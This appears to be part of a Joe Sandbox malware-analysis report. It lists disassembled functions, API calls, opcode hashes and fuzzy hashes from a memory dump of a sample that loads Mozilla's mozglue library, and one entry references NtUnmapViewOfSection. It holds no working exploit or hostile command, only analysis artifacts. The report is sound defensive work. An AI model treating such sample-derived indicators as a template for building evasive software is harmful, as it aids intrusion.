Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 98bd15bf5d47d1116e8e80b8d3b051d430a9665e8a77293ad50cee2f1df942ad
Instruction ID: 78d820d8bcee8cebb5d6ec28360f8863d85ba278b2d83d64630a9e00f620a454
Opcode Fuzzy Hash: 98bd15bf5d47d1116e8e80b8d3b051d430a9665e8a77293ad50cee2f1df942ad
Instruction Fuzzy Hash: C3E075707003029BDF4A5BA5AD087057AB8FB1A7DEF10C11DE905E1A41E77080038B1A

Function 6C9EBE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C9EBE49), ref: 6C9EBEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C9EBEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C9EBE49), ref: 6C9EBF38
RtlReAllocateHeap.NTDLL ref: 6C9EBF83
RtlFreeHeap.NTDLL ref: 6C9EBFA6

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 91aeff84e19a2b10a83b6265999ab674eaf61dc882d00424b1ebec121a9bd94f
Instruction ID: c9f4155fe7d39df8943ce20c8c1e2d96e9d715c9098ec9008103560b875b3805
Opcode Fuzzy Hash: 91aeff84e19a2b10a83b6265999ab674eaf61dc882d00424b1ebec121a9bd94f
Instruction Fuzzy Hash: 1751B171A003018FE711DF69C980BAAB7B6FFA8314F288A29D55597B54D730F9168B84

Function 6C9D8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C9CB58D,?,?,?,?,?,?,?,6C9FD734,?,?,?,6C9FD734), ref: 6C9D8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C9CB58D,?,?,?,?,?,?,?,6C9FD734,?,?,?,6C9FD734), ref: 6C9D8EBF
free.MOZGLUE(?,?,?,?,6C9CB58D,?,?,?,?,?,?,?,6C9FD734,?,?,?), ref: 6C9D8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C9CB58D,?,?,?,?,?,?,?,6C9FD734,?,?,?,6C9FD734), ref: 6C9D8F46
free.MOZGLUE(?,?,?,?,6C9CB58D,?,?,?,?,?,?,?,6C9FD734,?,?,?), ref: 6C9D8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C9CB58D,?,?,?,?,?,?,?,6C9FD734,?,?,?), ref: 6C9D8F8F

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 8ddba233a9c3527903c7cc438f04557263a5a7e82a6a45a513c0052909af3616
Instruction ID: 3c5eda07010f109daaf72dd15f5c9988bdb405604f9f532231ecb219c0ff06ae
Opcode Fuzzy Hash: 8ddba233a9c3527903c7cc438f04557263a5a7e82a6a45a513c0052909af3616
Instruction Fuzzy Hash: FD51C2B1A00A168FEB18CF58D88076E73B6BF44308F26442AD516BB741E731F915CBE6

Function 6C9960E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C995FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9960F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6C995FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C996180
free.MOZGLUE(?,?,?,?,6C995FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C996211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C995FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C996229
free.MOZGLUE(?,?,?,?,6C995FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C99625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C995FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C996271

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 41d20de9edccee5c1a6abb00830f4bdb6136dda983052317b860113f42a36248
Instruction ID: 144db2d7d1fe1ac8837e18de346e45479017545f49c655f6cc0818213b7437cf
Opcode Fuzzy Hash: 41d20de9edccee5c1a6abb00830f4bdb6136dda983052317b860113f42a36248
Instruction Fuzzy Hash: B8519AB1A002068FEB54CFA8D8807AEB7B5EF45348F29443DC616D7741E731EA55CBA2

Function 6C9D27E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C9D2620,?,?,?,6C9C60AA,6C9C5FCB,6C9C79A3), ref: 6C9D284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C9D2620,?,?,?,6C9C60AA,6C9C5FCB,6C9C79A3), ref: 6C9D289A
free.MOZGLUE(?,?,?,6C9D2620,?,?,?,6C9C60AA,6C9C5FCB,6C9C79A3), ref: 6C9D28F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C9D2620,?,?,?,6C9C60AA,6C9C5FCB,6C9C79A3), ref: 6C9D2910
free.MOZGLUE(00000001,?,?,6C9D2620,?,?,?,6C9C60AA,6C9C5FCB,6C9C79A3), ref: 6C9D293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C9D2620,?,?,?,6C9C60AA,6C9C5FCB,6C9C79A3), ref: 6C9D294E

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 57533f69ca10151b1cc2ab7132b6d212159c6d216634db03ee5b62ca45387aaf
Instruction ID: 138e7dfc92e91096163a38ce105abfd3eec9badb4dc489e3c41b2ccda37b9e66
Opcode Fuzzy Hash: 57533f69ca10151b1cc2ab7132b6d212159c6d216634db03ee5b62ca45387aaf
Instruction Fuzzy Hash: E141D0B1B00A068FEB14CF68D98436A73FAAF45348F268539D556EB740E731F905CB61

Function 6C98CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CA0E784), ref: 6C98CFF6
LeaveCriticalSection.KERNEL32(6CA0E784), ref: 6C98D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C98D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C98D139

Strings

MOZ_CRASH(), xrefs: 6C98D187

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: d2f25d446570adf011ab1bf898494c0eaa282459aed3b4eb06c19d2a54a9d565
Instruction ID: 7c1b937d3125212d0a1b63d16fad5b96ab15569dd1895ab30dbd9c07256665ba
Opcode Fuzzy Hash: d2f25d446570adf011ab1bf898494c0eaa282459aed3b4eb06c19d2a54a9d565
Instruction Fuzzy Hash: 4141EE32B023138FCB09CE6C8D9476A76B4EB49799F14463EE958E7784D7B19C028BD0

Function 6C984DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C984E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C984E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C984EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C984F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C984F1E

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 0055518ff503e96eb6e4a6a0a245ca0cca00a595b1e4f7ccead09e9ab9f9b3b2
Instruction ID: ed407c75b2e5016efb99fbc4d81be15c83a9e2725add376a4f23ba2e84784078
Opcode Fuzzy Hash: 0055518ff503e96eb6e4a6a0a245ca0cca00a595b1e4f7ccead09e9ab9f9b3b2
Instruction Fuzzy Hash: 5441E07160A7019FC705CF29C49095BBBE8BF99344F108E2DF46697B41DB70E928CB92

Function 6C991530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C99152B,?,?,?,?,6C991248,?), ref: 6C99159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C99152B,?,?,?,?,6C991248,?), ref: 6C9915BC
moz_xmalloc.MOZGLUE(-00000001,?,6C99152B,?,?,?,?,6C991248,?), ref: 6C9915E7
free.MOZGLUE(?,?,?,?,?,?,6C99152B,?,?,?,?,6C991248,?), ref: 6C991606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C99152B,?,?,?,?,6C991248,?), ref: 6C991637

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: ef10df1de3ebf64a6ac805d6d55d2eaf5a04fc91d0fdbb85034381c941b53f4d
Instruction ID: 3212cc439c8db56eadd432426c3020ccb86e46731bcf2d1f365153743eddef27
Opcode Fuzzy Hash: ef10df1de3ebf64a6ac805d6d55d2eaf5a04fc91d0fdbb85034381c941b53f4d
Instruction Fuzzy Hash: FF31E372A041159BCB188E78D85087E77ADBB9637472D0B2DE823DBBD4EB30D9058792

Function 6C9EAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C9FE330,?,6C9AC059), ref: 6C9EAD9D

Part of subcall function 6C99CA10: malloc.MOZGLUE(?), ref: 6C99CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C9FE330,?,6C9AC059), ref: 6C9EADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C9FE330,?,6C9AC059), ref: 6C9EAE01
GetLastError.KERNEL32(?,00000000,?,?,6C9FE330,?,6C9AC059), ref: 6C9EAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C9FE330,?,6C9AC059), ref: 6C9EAE3D

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: a64a6cc60cd2ef459ca7869417ce7b2b718b6dcf825282c5876b39620ba0f78b
Instruction ID: 6669a0757ca4aba6cc0dea83558c442ae8891b6ff62753b9e73c54358e7e05ad
Opcode Fuzzy Hash: a64a6cc60cd2ef459ca7869417ce7b2b718b6dcf825282c5876b39620ba0f78b
Instruction Fuzzy Hash: 273173B1A003159FDB14DF798C44AABBBF8EF68654F15882DE85AD7710EB34D805CBA0

Function 6C9E5EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C9FDCA0,?,?,?,6C9BE8B5,00000000), ref: 6C9E5F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C9BE8B5,00000000), ref: 6C9E5F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C9BE8B5,00000000), ref: 6C9E5F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C9BE8B5,00000000), ref: 6C9E5F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C9BE8B5,00000000), ref: 6C9E5FD6

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: ab3be60e45af5e48f296ca8d66d3f44293aff25b4966cfbb6456a9d830ad9d8d
Instruction ID: 4c63f5e727b6a46b2286f41170c838ba82c8f77cdf562775856487b6f5cfa83e
Opcode Fuzzy Hash: ab3be60e45af5e48f296ca8d66d3f44293aff25b4966cfbb6456a9d830ad9d8d
Instruction Fuzzy Hash: A43129343006018FD715CF29C998B2AB7F9FF99358B648A58E5568BB95CB31EC52CB80

Function 6C98B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C98B532
moz_xmalloc.MOZGLUE(?), ref: 6C98B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C98B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C98B57E
free.MOZGLUE(00000000), ref: 6C98B58F

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 46faac27cbb450286e3cae9a1da6a7352a363ca74b893fc728b9df6f0a5e1e9d
Instruction ID: 774dd1551e6263065953f10db09e438518843902e36a782c60a45140123c0f3b
Opcode Fuzzy Hash: 46faac27cbb450286e3cae9a1da6a7352a363ca74b893fc728b9df6f0a5e1e9d
Instruction Fuzzy Hash: 1921F671A052059BDB008F68CC40BAABBB9FF56348F28852DE818DB381E735D912C7A1

Function 6C98B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C98B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C98B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C98B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C98B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C98B849

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 89ac292ef7b67b952d6020a7b25e1acc13a2c1e54caf991ed5cf2f60dfe35107
Instruction ID: c4be638493748abae215bbd381e50fa3b9a914827b540012d747f5d10063d774
Opcode Fuzzy Hash: 89ac292ef7b67b952d6020a7b25e1acc13a2c1e54caf991ed5cf2f60dfe35107
Instruction Fuzzy Hash: 06215CB1E0030A9FDF04DFA9C8855BEBBB4EF49758F148569EC05A7340E731A945CBA1

Function 6C9E6E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C9E6E78

Part of subcall function 6C9E6A10: InitializeCriticalSection.KERNEL32(6CA0F618), ref: 6C9E6A68
Part of subcall function 6C9E6A10: GetCurrentProcess.KERNEL32 ref: 6C9E6A7D
Part of subcall function 6C9E6A10: GetCurrentProcess.KERNEL32 ref: 6C9E6AA1
Part of subcall function 6C9E6A10: EnterCriticalSection.KERNEL32(6CA0F618), ref: 6C9E6AAE
Part of subcall function 6C9E6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C9E6AE1
Part of subcall function 6C9E6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C9E6B15
Part of subcall function 6C9E6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C9E6B65
Part of subcall function 6C9E6A10: LeaveCriticalSection.KERNEL32(6CA0F618,?,?), ref: 6C9E6B83

MozFormatCodeAddress.MOZGLUE ref: 6C9E6EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C9E6EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C9E6EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C9E6EFF

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 79d034c0980adfda791ae098716a109a90ba2c0d20a66c72b97ae1d46fda4336
Instruction ID: 08937819e99562245d906b069f802d7b017ccbc1ae10f0191698cf3c38cf4fa3
Opcode Fuzzy Hash: 79d034c0980adfda791ae098716a109a90ba2c0d20a66c72b97ae1d46fda4336
Instruction Fuzzy Hash: 5821B0B1A0431E9FDB04CF69D88469A77F8EF98348F048539E90997241EB709A59CF92

Function 6C9E76C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C9E76F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C9E7705

Part of subcall function 6C99CA10: malloc.MOZGLUE(?), ref: 6C99CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C9E7717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C9E778F,00000000,00000000,00000000,00000000), ref: 6C9E7731
free.MOZGLUE(00000000), ref: 6C9E7760

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: bc9c5a75d51a63a13acb12168650d4cf9564db408f02ccf4c7f9badb8fb5ce51
Instruction ID: 06e315b532084dee6d2b8db33d15093e43de51ad1c3b93c2fce8e8a45dd5473d
Opcode Fuzzy Hash: bc9c5a75d51a63a13acb12168650d4cf9564db408f02ccf4c7f9badb8fb5ce51
Instruction Fuzzy Hash: F91190B1A05215ABE710AFA69C44AABBEE8EF59654F148529E848A7201E771C84087E2

Function 6C9C0D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C983DEF), ref: 6C9C0D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C983DEF), ref: 6C9C0D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C983DEF), ref: 6C9C0DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C9C0D97, 6C9C0DBE
<jemalloc>, xrefs: 6C9C0D92, 6C9C0DB9

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 997b2873aabd9fb9b0fe050a0292d907bbad6c8f6cca55b04fca9c35739cfbf6
Instruction ID: 6c6d8d6fcd8353614628103d838a61ab9776508952935bc0d235e6341a89ec98
Opcode Fuzzy Hash: 997b2873aabd9fb9b0fe050a0292d907bbad6c8f6cca55b04fca9c35739cfbf6
Instruction Fuzzy Hash: 57F0E9B138079523E724216A6C0AF6A265DB7C2BECF309135F304DF9C0DF50E44646A7

Function 6C9D7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C9D75C4,?), ref: 6C9D762B

Part of subcall function 6C99CA10: malloc.MOZGLUE(?), ref: 6C99CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C9D74D7,6C9E15FC,?,?,?), ref: 6C9D7644
GetCurrentThreadId.KERNEL32 ref: 6C9D765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C9D74D7,6C9E15FC,?,?,?), ref: 6C9D7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C9D74D7,6C9E15FC,?,?,?), ref: 6C9D7677

